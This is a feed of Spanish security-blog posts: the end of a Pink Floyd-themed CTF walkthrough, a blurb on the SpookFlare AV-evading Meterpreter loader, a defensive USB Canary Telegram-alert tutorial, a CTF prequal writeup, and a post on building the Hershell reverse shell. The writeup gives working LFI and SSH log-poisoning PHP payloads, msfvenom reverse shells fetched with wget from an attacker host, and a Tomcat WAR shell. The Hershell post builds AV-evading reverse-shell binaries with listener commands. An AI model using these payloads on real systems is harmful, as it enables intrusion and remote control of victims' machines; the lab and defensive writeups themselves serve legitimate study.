Ajá! si no hay foto, está rota. No pasa nada, un vistazo con file vale para descubrir que se trata de un archivo .ogg. Bien, lo renombro y se lo mando a audacity.



Uy que divertido, si me tiene escondido un mensaje en morse ...(cabrón), y para ponerlo un poco más difícil mete una grabación de un piano de fondo. Pues nada... pulso corto y pulso largo. No tiene más; paciencia e ir despacito apuntando. El ir observando el dibujo de la onda con un el audacity ayuda (en unos pulsos se ve más claro que en otros.)
 
Esto es lo que me sale después de un rato muy divertido:

.-. .. -.-. .... .- .-. -.. ..-. .-. .. --. .... - .---- ----. ....- ...-- ..-. .- .-. ..-. .. ... .-

En la primera web que encontré para descodificar morse: http://www.onlineconversion.com/morse_code.htm.


Me sale Fright en vez de Wight, pero ya he tenido suficiente y tengo sus credenciales, jeje: RichardWright:1943farfisa


RICHARD WRIGHT

Yeah, ahora soy el teclista de los Pink Floyd, toma ya! A ver que tiene en casa:

Casi lo mismo que sus colegas: su biografía de la wikipedia, la típica foto con el cigarro y semblante pensativo, y un archivo mbox que también tenía el resto, pero en este caso no está vacío y se trata de un mail donde Rick (Richard Wright) le pide al guitarra David Wilmour que le recuerde algo. Su respuesta es: “just use that command I gave you with the menu”.
 
Esto me recuerda que tenía algo por ahí pendiente; el binario usr/local/bin/shineon, que ahora sí que puedo ejecutarlo.


Interesante, parece un inofensivo programa que muestra un calendario, hace un who, un ping y un mail… ¿si? pues dicen que un primer vistazo con strings siempre ayuda.


Uff, parece que alguien se ha despistado, se ha usado la ruta del PATH para llamar a mail. Pues lo siento por ti compañero (no sé con quien hablo), pero me voy a colar.

Esto es primero de vulnhub: modificar el $PATH, crear un ejecutable llamado mail con la línea /bin/ksh (es la shell que hay) y darle permisos de ejecución.

Ahora solo toca ir a la opción 4 del binario buggy:


DAVID GILMOUR
Tachán! Ahora tocamos la guitarra como un semi-dios. Soy David Gilmour y en casa veo una foto “david_gilmour_profile_pic.jpg” y un archivo de texto, “anotherbrick.txt”:

# Come on you raver, you seer of visions, come on you painter, you piper, you prisoner, and shine. - Pink Floyd, Shine On You Crazy Diamond

New website for review:    pinkfloyd1965newblogsite50yearscelebration-temp/index.php

# You have to be trusted by the people you lie to. So that when they turn their backs on you, you'll get the chance to put the knife in. - Pink Floyd, Dogs

Guay! Revela una carpeta en el servidor web, que por cierto ¿donde esta?, tiene toda la pinta de estar en /var/www/htdocs, pero no puedo entrar, tan solo root o un user del grupo welcometothemachine. Vaya!, que casualidad, DavidGilmour pertenece a este grupo... que suerte tengo.

Antes de seguir, es importante poner el tema mencionado en la ultima frase del archivo anotherbrick.txt:

“Dogs” - https://www.youtube.com/watch?v=qiaF4kuxJco


Mucho mejor... ahora que estoy en contexto voy seguir con la otra pista que encuentro a mano, la imagen de Gilmour.

¿Eso no será la contraseña del user, no?


Toma ya! Jajaja, que bueno strings, no falla. Ahora puedo entrar en /var/www/htdocs… que emoción!

Lo primero que llama la atención es un binario ...welcometothemachine/PinkFloyd, que al ejecutarlo pide una respuesta a la que no se como responder.


"In the flesh” - https://www.youtube.com/watch?v=jnU5V4Z9k88 

Ahora mismo esta canción es mi única pista. Y el binario este tampoco se puede leer… umm!,

Bueno ¿no tenía yo por ahí otra pista?. Claro! la carpeta “pinkfloyd1965newblogsite50yearscelebration-temp” en el webserver.


Joder, esta maquina está muy currada.
 
Desde el index.php he ido a dar con un pequeño blog de Pink Floyd: Más info de la banda, del autor del CTF, la discografía y un precioso dibujo.
 
Me ha encantado pero ahora me vuelvo a ver en un momento delicado con esta maquina. Cuando me pasa esto en una operación cierro los ojos y meto bisturí, pero aquí no funciona. ¿Que hago?.
 
Llevo un rato con cara de tonto delante de la pantalla viendo el dibujo del index. Está muy currado, con referencias a las canciones (el dinero por “Money”, los conejos “Breath”) y a la biografía (la cara de Syd Barrett en la nube).

Cuantas cosas en una sola imagen… Coño! Claro, y podría tener aún más cosas. Además con lo que le gusta la esteganografía al admin. Voy a buscar!


Uh! uh! Yo sé que es eso de welcometothemachine, aparte de ser un temazo. Tambien un hash, que no tengo pelotas a romper… aunque, espera un momento (mentira, me llevó un buen rato)


 "Fearless” - https://www.youtube.com/watch?v=TeyHPAdxuy0

¿Habia que meter el hash así “a pelo”? Que mala gente…

“You can now set your controls to the heart of the sun!”: Esto es lo que me sugiere revisar el id y el /etc/sudoers. Y es game over ...el paciente no ha sobrevivido, somos root.


Y así es como se junta arte y código. Mis respetos Don Xerubus.

Zaiuss.

SpookFlare: generador de loaders de Meterpreter para bypassear las contramedidas en el endpoint y en la red

$
0
0
SpookFlare es un generador de loaders para los stages de Meterpreter Reverse HTTP y HTTPS que añade una perspectiva diferente para eludir las medidas de seguridad del lado del cliente (endpoints) y la detección del lado de la red. Provee un cifrado personalizado con ofuscación de cadenas y compilación en tiempo de ejecución para eludir las contramedidas de los sistemas atacados, al menos hasta que "aprendan" la técnica y el comportamiento de los payloads de SpookFlare.

- Ofuscación
- Compilación de código en tiempo de ejecución
- Cifrado de código fuente
- Soporta parcheado de stages de Meterpreter

Proyecto: https://github.com/hlldz/SpookFlare
Detalle técnico:https://artofpwn.com/spookflare.html

Cómo recibir una alerta en Telegram cada vez que se conecte un dispositivo USB a nuestro equipo (USB Canary)

$
0
0
Casi desde que empecé a trabajar en informática, los recuerdos más jocosos que guardo, incluso con añoranza, son los ataques David Hasselhoff, ya sabéis, aquellos que consisten en cambiar el fondo de pantalla del equipo de un descuidado compañero que dejó sin bloquear su sesión.

Cierto es que pocas veces los fondos evocaban la figura del actor de Mitch Buchannon y con el paso de los años las imágenes aumentaban su índole pertubadora… pero nada comparable a cuando empecé a trabajar en equipos de hackers éticos...

En un grupo acostumbrado a la seguridad ofensiva, llamarle Red Team, Tiger Team o como gustéis,  ya casi da igual que olvides bloquear el ordenador, ahora cualquier ausencia incluso breve, que permita el acceso físico, puede suponer una oportunidad para alguien conecte un Rubber Ducky o cualquier otro dispositivo y no sólo de un tono más “rosa” a tu escritorio: troyanizar el equipo, cambiar la password, modificar tu muro de Facebook, … los caminos del troll son incontables.

Para evitar ésto, y en un tono más serio protegerte también contra atacantes que no sean de tu propio equipo, lo más lógico será controlar el acceso a todos los puertos de tu ordenador que permitan conectar periféricos.

Si partimos de que no nos van a desarmar el hardware destornillador en mano y el lector de CDROM (hablaremos de éste último véctor más adelante), hoy en día los principales interfaces de entrada son los puertos USB por lo que es capital controlarlos.

A propósito de ésto, no hace mucho vi un proyecto en GitHub bastante interesante llamado USB Canary que permite en Linux y mediante pyudev monitorizar los dispositivos USB del equipo, mientras está bloqueado o continuamente. Además se puede configurar para enviar un SMS a través de la API Twilio, o notificar a un canal Slack mediante el bot correspondiente.

La herramienta está escrita en Python y es bastante sencillo añadir una tercera opción para las notificaciones, así que en seguida pensé en añadir la opción de Telegram. No sé vosotros pero yo la uso continuamente, por lo que me pareció una buena idea recibir un mensaje de un bot de Telegram cada vez que se conecte un dispositivo USB en mi portátil y de forma totalmente gratuita. De esta manera estaremos bajo aviso si alguien conecta algo a nuestro equipo en nuestra ausencia...

Lo primero que necesitaremos será precisamente crear un bot en Telegram y para ello llamaremos a papá @BotFather y le “diremos” que queremos crear un nuevo bot (opción /newbot):

Luego, como usb-canary está escrito en Python, es lógico usar un framework en el mismo lenguaje para interactuar con el API de Telegram. Después de mirar alguno opté por Telepot de Nick Lee, que facilita muchísimo su instalación y uso del API:

# pip install telepot

# python
Python 2.7.12+ (default, Sep 17 2016, 12:08:02)
[GCC 6.2.0 20160914] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import telepot
>>> bot=telepot.Bot('TOKEN')
>>> bot.sendMessage('CHAT_ID',str('mensaje de prueba'))
{u'date': 1494194600, u'text': u'mensaje de prueba', u'from': {u'username': u'redteam_bot', u'first_name': u'redteam', u'id': 25340329}, u'message_id': 30, u'chat': {u'username': u'Vis0r', u'first_name': u'Vis0r', u'type': u'private', u'id': 124235016}}
>>>

Como veis, simplemente usando sólo dos líneas, con el token facilitado durante la creación del bot el y el chat_id del destinatario, podemos enviar un mensaje desde la línea de comandos:


Ahora vamos a descargar la herramienta usb-canary y realizar nuestro pequeño mod:

# git clone https://github.com/probablynotablog/usb-canary.git
# cd usb-canary

Primero instalaremos las dependencias restantes necesarias:

pip install slackclient
pip install twilio
pip install pyudev
pip install sander-daemon

O si lo prefieres, simplemente ejecuta:

pip install -r requirements.txt

Empezaremos añadiendo al fichero json de configuración (settings.json) el token del bot y el chat_id del usuario al que queramos enviarle las notificaciones.
Si no sabes como obtener el chat_id mandale un mensaje al usuario desde el bot y a continuación visita https://api.telegram.org/botTOKEN/getUpdates

{
  "settings": {
 "telegram": {
      "token": "123456789-abcdefghijklmnopqrstuvwx0",
      "chat_id": "123456789"
    },


A continuación crearemos dentro del directorio ‘canary’ un subdirectorio ‘telegram’ y dentro un script ‘telegram.py’ con el siguiente código:

from __future__ import absolute_import, division, print_function
import sys
import canary.settings
import telepot

def load_telegram_settings():

    telegram_settings = canary.settings.open_settings()

    telegram = telegram_settings['settings']['telegram']

    try:
        # sanity check that the user has actually supplied data
        if not telegram['token']:
            print('Error 80: Telegram token has been left blank')
            sys.exit(80)
        elif not telegram['chat_id']:
            print('Error 81: Telegram chat_id has been left blank')
            sys.exit(81)
        else:
            return telegram
    except KeyError:
        print('Error 90: Telegram config missing in the settings file')
        sys.exit(90)

Como veis, básicamente la función carga la configuración del fichero ‘settings.json’.

El siguiente paso será editar el fichero ‘message_handler.py’ y añadir a la función ‘send_message’ la parte de Telegram, precisamente lo que probábamos en primera instancia después de la creación del nuevo bot:

import re
import telepot
from canary import settings

def send_message(alert):

    settings_file = settings.open_settings()

    telegram_enabled = settings_file['settings']['general']['telegram']

    if telegram_enabled:
        telegram_settings = settings_file['settings']['telegram']
        bot=telepot.Bot(telegram_settings["token"])
        bot.sendMessage(telegram_settings["chat_id"],str(alert))


Después editamos el script principal ‘usb_canary.py’ para importar y usar nuestras pequeñas modificaciones para Telegram:

...
from canary.telegram import telegram

class Usb_Canary(Daemon):
    def run(self):
        while True:
            self.main()

    def main(self):
        options_file = settings.open_settings()
        options = options_file['settings']['general']

        if options['telegram']:
            global telegram_settings
            telegram_settings = telegram.load_telegram_settings()

        if settings.check_paranoid_set(options['paranoid']):
            paranoid_setting = options['paranoid']


Finalmente llamamos a nuestro script para que se inicie como demonio (sander-daemon):

# ./usb_canary.py start
Starting…

Y por fin la prueba de fuego… conectamos un pendrive al puerto USB y vemos como enseguida nuestro bot nos avisa por Telegram:

¿Útil verdad? Para acabar añadimos el demonio Python a nuestro infame systemd para que se ejecute siempre al inicio. Primero creamos el fichero del servicio:

# cat /etc/systemd/system/usb-canary.service
[Unit]
Description=usb-canary

[Service]
Type=forking
ExecStart=/tools/usb-canary/usb_canary.py start
ExecStop=/tools/usb-canary/usb_canary.py stop
RestartSec=5
TimeoutSec=60
RuntimeMaxSec=infinity
Restart=always
PIDFile=/tmp/usbcanary.pid

[Install]
WantedBy=multi-user.target

Lo activamos y lo iniciamos:

# systemctl enable usb-canary.service
Created symlink /etc/systemd/system/multi-user.target.wants/usb-canary.service → /etc/systemd/system/usb-canary.service.

# systemctl start usb-canary.service
# systemctl status usb-canary.service

Y ya lo tenemos. A partir de ahora tendremos nuestro particular “chivato” y nadie podrá trastear conectando algo por USB a nuestro PC sin que nos enteremos de inmediato :)

Solución al reto 22 clasificatorio para el CTF de #hc0n2018 (h-c0n prequals)

$
0
0
Como os decía cuando presentamos este reto 22, era realmente un clasificatorio para el CTF de la h-c0n que dará comienzo el próximo día 20 de enero a las 0:00 horas.

Cuando decidimos organizar una CON teníamos claro que no podía faltar el CTF y cuando iHackLabs, una empresa que se dedica a eso, nos propuso organizarlo y usar su plataforma pronto supimos que nos íbamos a algo realmente interesante y pro.

Pero evidentemente el acceso a la plataforma es limitado y para la h-c0n ese ha dimensionado una concurrencia de 45 usuarios, así que también íbamos a tener la oportunidad de realizar un par de pruebas para establecer ese corte y clasificar a los más hábiles y rápidos.

Y cómo últimamente andábamos muy enganchados a explotar máquinas, me pareció una buena idea preparar una propia para esta ocasión. Y la verdad lo tuve muy fácil, porque Héctor (riesc0) y Dani (adon90), dos compis de trabajo recién certificados con el OSCP, aceptaron a prepararla. Yo sólo la probé e hice un sencillo binario para generar las flags, y bueno, una pequeña imagen con esteganografía como paso previo a su descarga. Así que todo el mérito a estos dos cracks.

Evidentemente, tuvimos algunas limitaciones al tratarse de una máquina offline y también algunos fallos de primerizos como cierta inestabilidad con el servicio knockd y, sobretodo, no haberla preparado para VirtualBox (el interfaz de red). Pero dejamos Grub sin contraseña y muchos fueron capaces incluso de adaptarla a su entorno de forma autónoma.

Al final el resultado ha sido muy bueno y han podido clasificarse 44 valientes que han resuelto el prequal de varias (y algunas increíbles) maneras, muchos enviándonos solucionarios o writeup realmente completos y que merecen ser publicados. Pero como deferencia y tras comentarlo con riesc0, uno de los autores de la máquina, pegamos su writeup original.

Así que no me enrollo más y os dejo el susodicho solucionario, no sin antes daros las gracias a todos los que habéis intentado resolver el reto independientemente del resultado y deseando mucha suerte a todos los clasificados para el CTF que comenzará el día 20:

# 1.0 ESTEGANOGRAFÍA

Lo primero que tenemos es una imagen, la cual ya nos dicen que contiene algo oculto. Cuando se trata de algún reto de esteganografía siempre suelo usar Stegsolver para ver si hay algún mensaje oculto en alguno de los canales rgba de la imágen.


Vemos que está la palabra “rockyou.txt” oculta en la imagen, por lo que deducimos que para sacar el contenido adjunto de la foto hay que usar fuerza bruta con el diccionario rockyou.txt.

El primer programa que se me ocurre para ocultar ficheros en imágenes JPG es steghide, así que utilizo un script en python que hice hace tiempo para fuerza bruta (https://github.com/hriesco/brute_steghide).

    python brute_steghide.py starting_CTF.jpg /usr/share/wordlists/rockyou.txt


# 2.0 MÁQUINA VULNERABLE

Una vez descargada la máquina y arrancada con Vmware, hacemos un escaneo de la red para localizar el objetivo.

    nmap -sn 192.168.1.*

Nmap scan report for h-c0n_prequals.lan (192.168.1.100)
Host is up (0.00041s latency).

Hacemos un escaneo rápido de puertos con nmap.

    nmap -F 192.168.1.100

PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64

# 2.1 ENUMERACIÓN WEB

Al acceder a la url http://192.168.1.100 vemos que no contiene nada, por lo que toca enumerar directorios y ficheros, para ello voy a usar dirb con el diccionario common.txt de seclists.

    dirb http://192.168.1.100 /usr/share/seclists/Discovery/Web_Content/common.txt

==> DIRECTORY: http://192.168.1.100/china/
==> DIRECTORY: http://192.168.1.100/china/js/
==> DIRECTORY: http://192.168.1.100/china/languages/
==> DIRECTORY: http://192.168.1.100/china/lib/
==> DIRECTORY: http://192.168.1.100/china/plugins/
==> DIRECTORY: http://192.168.1.100/china/themes/+ http://192.168.1.100/index.html
+ http://192.168.1.100/china/favicon.ico
+ http://192.168.1.100/china/index.php

A parte de tirarle el diccionario normal siempre es muy importante hacer otra pasada añadiéndole extensiones comunes dependiendo del tipo de servidor y sistema operativo.

    dirb http://192.168.1.100 /usr/share/seclists/Discovery/Web_Content/common.txt -X .html,.php,.txt,.sh,.jsp,.xml

+ http://192.168.1.100/hidden.html (CODE:200|SIZE:62)

Una vez obtenidos los directorios y ficheros procedemos a analizar el contenido, buscar productos, versiones, parámetros vulnerables, etc…

En el primer directorio que sacó dirb (http://192.168.1.100/china/) nos encontramos con un panel de login, así que antes de probar alguna SQLi o hacer fuerza bruta, probamos credenciales típicas (1234 : 1234, admin : password, admin : admin, etc …). En este caso tuvimos suerte y el administrador dejó credenciales débiles:

admin : admin

# 2.2 EXPLOTACIÓN

Trás ver que el producto es un Codiad, buscamos posibles vulnerabilidades (Exploit-db, cve-details, Google, etc…) y nos encontramos con que tiene LFI y subida de ficheros desde el cual es posible subir shell.

Voy a utilizar la vulnerabilidad LFI para conseguir shell, la página donde muestra como explotarlo es la siguiente:
https://www.exploit-db.com/exploits/35585/

Antes de probar el LFI abrimos el fichero hidden.html que descubrimos anteriormente con dirb ya que por el nombre seguramente tenga algo interesante.


La imagen de alguien tocando una puerta nos da una gran pista, a parte de que el nombre de la imagen es knockknock.jpg, por lo que habrá que hacer port knocking.

Lo que necesitamos ahora es saber que combinación de puertos debemos usar en el portknocking, asi que bajamos la imagen para ver si contiene algún dato oculto.

    wget http://192.168.1.100/knockknock.jpg

Si usamos exiftool para ver los metadatos, podemos ver que el campo “Comment” contiene una secuencia que pueden ser los datos que buscamos.


Otra forma de sacarlo sería con el comando strings  o a través del LFI podríamos acceder al fichero de configuración /etc/knockd.conf.

Hacemos el port-knocking y volvemos a escanear la máquina para comprobar si se abrió algún puerto.

    knock 192.168.1.100 1337 4444 6969
    nmap -F 192.168.1.100


Vemos que tenemos el puerto ssh abierto, y un LFI con el cual podemos acceder al /etc/passwd para hacer fuerza bruta con los usuarios del sistema, pero sin obtener ningún login válido.

Nos centramos en el LFI buscando ficheros con credenciales típicos, php wrappers, logs del sistema en los que tengamos permisos de lectura, dando con auth.log en el cual podemos leer y escribir.

    http://192.168.1.100/china/components/filemanager/download.php?path=../../../../../../../../../../../var/log/auth.log&type=undefined


Para poder escribir en dicho fichero nos conectamos al ssh del objetivo inyectando código PHP en el usuario de la siguiente forma:

ssh '<?php system($_GET["c"]); ?>'@192.168.1.100

Si volvemos a acceder al fichero auth.log y añadimos el parámetro cmd por GET comprobamos que tenemos ejecución de comandos en el sistema.

    http://192.168.1.100/china/components/filemanager/download.php?path=../../../../../../../../../../../var/log/auth.log&type=undefined&cmd=id


Ahora nuestro objetivo será conseguir una shell reversa, los pasos a seguir son los siguientes:

– Generar Meterpreter en formato elf, con msfvenom.
– Servidor web en local con python para subir la shell.
– Utilizar la ejecución de comandos para subir la shell con wget a /tmp
– Darle permisos de ejecución
– Poner un handler de metasploit a la escucha donde recibiremos la shell reversa.
– Ejecutar la shell accediendo a la ruta desde el navegador a través del LFI.

    msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.1.106 lport=443 -f elf > shell.elf

    python -m SimpleHTTPServer

    http://192.168.1.100/china/components/filemanager/download.php?path=../../../../../../../../../../../var/log/auth.log&type=undefined&cmd=wget+http://192.168.1.106:8000/shell.elf+-O+/tmp/shell

    http://192.168.1.100/china/components/filemanager/download.php?path=../../../../../../../../../../../var/log/auth.log&type=undefined&cmd=chmod+777+/tmp/shell

    msfconsole

    msf > use exploit/multi/handler
    msf exploit(handler) > set payload linux/x86/meterpreter_reverse_tcp
    msf exploit(handler) > set LHOST 192.168.1.106
    msf exploit(handler) > set LPORT 443
    msf exploit(handler) > run

    http://192.168.1.155/china/components/filemanager/download.php?path=../../../../../../../../../../../var/log/auth.log&type=undefined&cmd=/tmp/shell


# 3.0 ESCALADA DE PRIVILEGIOS

Las IPs a partir de aquí cambian ya que las realice en otro equipo, ahora la 192.168.11.149 es mi IP y la 192.168.11.155 es la IP de la maquina vulnerable.
Lo primero que hacemos tras conseguir shell será spawnear una shell tty con python

    python -c ‘import pty; pty.spawn(“/bin/bash”)’

Si miramos los servicios que estan corriendo en el sistema vemos que tiene el 8080, por lo que hacemos un port-forwarding a través de un tunel ssh reverso para poder acceder desde nuestra máquina.


Activamos en local el ssh

    service ssh start

En la shell reversa forwardeamos el puerto 8080 a través del tunel ssh

    ssh -R 1234:127.0.0.1:8080 root@192.168.11.149

Una vez forwardeado el puerto accedemos al navegador a http://127.0.0.1:1234/


Vemos que es un tomcat por lo que navegamos en la shell reversa para ver las credenciales de acceso al tomcat manager.

    cat /var/lib/tomcat8/conf/tomcat-users.xml


http://127.0.0.1:1234/manager/html




Generamos una reverse shell con formato war para subirla al tomcat y desplegarla.

    msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.11.149 LPORT=4444 RHOST=127.0.0.1 RPORT=1234 -f war > shell.war

Una vez subida al tomcat levantamos un handler de metasploit

    msfconsole
    msf > use exploit/multi/handler
    msf exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp
    msf exploit(multi/handler) > set LHOST 192.168.11.149
    msf exploit(multi/handler) > set LPORT 4444
    msf exploit(multi/handler) > run

Al acceder a la shell en el navegador obtendremos una sesión de meterpreter.

http://127.0.0.1:1234/shell

Vemos que el usuario pertenece al grupo sudo, así que intentamos escalar con sudo su, en este caso no ha pedido contraseña ya que hay una entrada en el /etc/sudoers que permite al usuario tomcat8 ejecutar con sudo sin contraseña.


Finalmente observamos un binario elf en /root/flag que al ejecutarlo nos devolverá la tan preciada flag:


Espero que os resultara entretenida la máquina y enhorabuena a los ganadores! 😉

Fuente: Writeup #Hackplayers #h-c0n prequals
Hall de la fama (top clasificados): http://www.h-c0n.com/p/ctf.html#halloffame
Próximo CTF de iHackLabs: http://www.h-c0n.com/p/ctf.html#ctf

Hershell, una shell reversa escrita en Go

$
0
0
Hershell de Ronan Kervella es una sencilla shell reversa TCP escrita en Go que utiliza TLS para proteger las comunicaciones y certificate pinning para evitar la interceptación de tráfico.

Se presenta como una interesante alternativa a los payloads de meterpreter que muchas veces son detectados por los AV y, al estar escrito en Go, puede compilarse para la arquitectura deseada. Soporta Windows, Linux, Mac OS, FreeBSD y derivados.

Construyendo el payload

Para simplificar las cosas, se puede usar el archivo Makefile proporcionado pudiendo establecer las siguientes variables de entorno:

- GOOS: el sistema operativo objetivo
- GOARCH: la arquitectura de destino
- LHOST: la IP o nombre de dominio del atacante
- LPORT: el puerto de escucha

Para las variables GOOS y GOARCH, puedes obtener los valores permitidos aquí.

Sin embargo, algunos objetivos auxiliares ya están disponibles en el archivo Makefile:

- depends: genera el certificado del servidor (requerido para la shell reversa)
- windows32: crea un ejecutable de Windows de 32 bits (PE 32 bits)
- windows64: crea un ejecutable de Windows de 64 bits (PE 64 bits)
- linux32: crea un ejecutable de 32 bits de Linux (ELF 32 bits)
- linux64: crea un ejecutable Linux de 64 bits (ELF 64 bits)
- macos: construye un ejecutable Mac OS de 64 bits (Mach-O)

Para esos objetivos, solo se necesita establecer las variables de entorno LHOST y LPORT.

Usando la shell

Una vez ejecutado, se obtendrá una shell remota. Esta shell interactiva personalizada permitirá ejecutar comandos del sistema a través de cmd.exe en Windows o /bin/sh en máquinas UNIX.

También se soportan los siguientes comandos especiales:

- run_shell: te deja una shell del sistema (permitiéndote, por ejemplo, cambiar directorios)
- Inject : inyecta un shellcode (codificado en base64) en la misma memoria de proceso y lo ejecuta (Windows solo por el momento)
- meterpreter IP:PORT: se conecta a un multi/handler para obtener un segundo stage de metasploit (reverse tcp meterpreter), y ejecuta el shellcode en la memoria (Windows solo en este momento)
- exit: salir


Ejemplos

Primero, necesitaremos generar un certificado válido:
$ make depends
openssl req -subj '/CN=sysdream.com/O=Sysdream/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
.....................................++
............................................++
writing new private key to 'server.key'
-----
cat server.key >> server.pem

Para windows:
# Custom target
$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.12 LPORT=1234
# Predifined target
$ make windows32 LHOST=192.168.0.12 LPORT=1234

Para Linux:
# Custom target
$ make GOOS=linux GOARCH=amd64 LHOST=192.168.0.12 LPORT=1234
# Predifined target
$ make linux32 LHOST=192.168.0.12 LPORT=1234

Para Mac OS X:
$ make macos LHOST=192.168.0.12 LPORT=1234

Listeners

En el lado del servidor podemos usar un servidor TLS con openssl:
$ openssl s_server -cert server.pem -key server.key -accept 1234
Using default temp DH parameters
ACCEPT
bad gethostbyaddr
-----BEGIN SSL SESSION PARAMETERS-----
MHUCAQECAgMDBALALwQgsR3QwizJziqh4Ps3i+xHQKs9lvp5RfsYPWjEDB68Z4kE
MHnP0OD99CHv2u27THKvCHCggKEpgrPnKH+vNGJGPJZ42QylfkekhSwY5Mtr5qYI
5qEGAgRYgSfgogQCAgEspAYEBAEAAAA=
-----END SSL SESSION PARAMETERS-----
Shared ciphers:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA:AES256-SHA:ECDHE-RSA-DES-CBC3-SHA:DES-CBC3-SHA
Signature Algorithms: RSA+SHA256:ECDSA+SHA256:RSA+SHA384:ECDSA+SHA384:RSA+SHA1:ECDSA+SHA1
Shared Signature Algorithms: RSA+SHA256:ECDSA+SHA256:RSA+SHA384:ECDSA+SHA384:RSA+SHA1:ECDSA+SHA1
Supported Elliptic Curve Point Formats: uncompressed
Supported Elliptic Curves: P-256:P-384:P-521
Shared Elliptic curves: P-256:P-384:P-521
CIPHER is ECDHE-RSA-AES128-GCM-SHA256
Secure Renegotiation IS supported
Microsoft Windows [version 10.0.10586]
(c) 2015 Microsoft Corporation. Tous droits rservs.

C:\Users\LAB2\Downloads>

O incluso mejor, usar socat con su módulo readline, que facilita un history:
$ socat readline openssl-listen:1234,fork,reuseaddr,verify=0,cert=server.pem
Microsoft Windows [version 10.0.10586]
(c) 2015 Microsoft Corporation. Tous droits rservs.

C:\Users\LAB2\Downloads>

Y, ojo a esto, usar un handler de metasploit:
[172.17.0.2][Sessions: 0][Jobs: 0]: > use exploit/multi/handler
[172.17.0.2][Sessions: 0][Jobs: 0]: exploit(handler) > set payload python/shell_reverse_tcp_ssl
payload => python/shell_reverse_tcp_ssl
[172.17.0.2][Sessions: 0][Jobs: 0]: exploit(handler) > set lhost 192.168.122.1
lhost => 192.168.122.1
[172.17.0.2][Sessions: 0][Jobs: 0]: exploit(handler) > set lport 4444
lport => 4444
[172.17.0.2][Sessions: 0][Jobs: 0]: exploit(handler) > set handlersslcert /tmp/data/server.pem
handlersslcert => /tmp/data/server.pem
[172.17.0.2][Sessions: 0][Jobs: 0]: exploit(handler) > set exitonsession false
exitonsession => false
[172.17.0.2][Sessions: 0][Jobs: 0]: exploit(handler) > exploit -j
[*] Exploit running as background job.

[-] Handler failed to bind to 192.168.122.1:4444
[*] Started reverse SSL handler on 0.0.0.0:4444
[*] Starting the payload handler...
[172.17.0.2][Sessions: 0][Jobs: 1]: exploit(handler) >
[*] Command shell session 1 opened (172.17.0.2:4444 -> 172.17.0.1:51995) at 2017-02-09 12:07:51 +0000
[172.17.0.2][Sessions: 1][Jobs: 1]: exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows [version 10.0.10586]
(c) 2015 Microsoft Corporation. Tous droits rservs.

C:\Users\lab1\Downloads>whoami
whoami
desktop-jcfs2ok\lab1

C:\Users\lab1\Downloads>

Proyecto: https://github.com/sysdream/hershell
Viewing all 1662 articles
Browse latest View live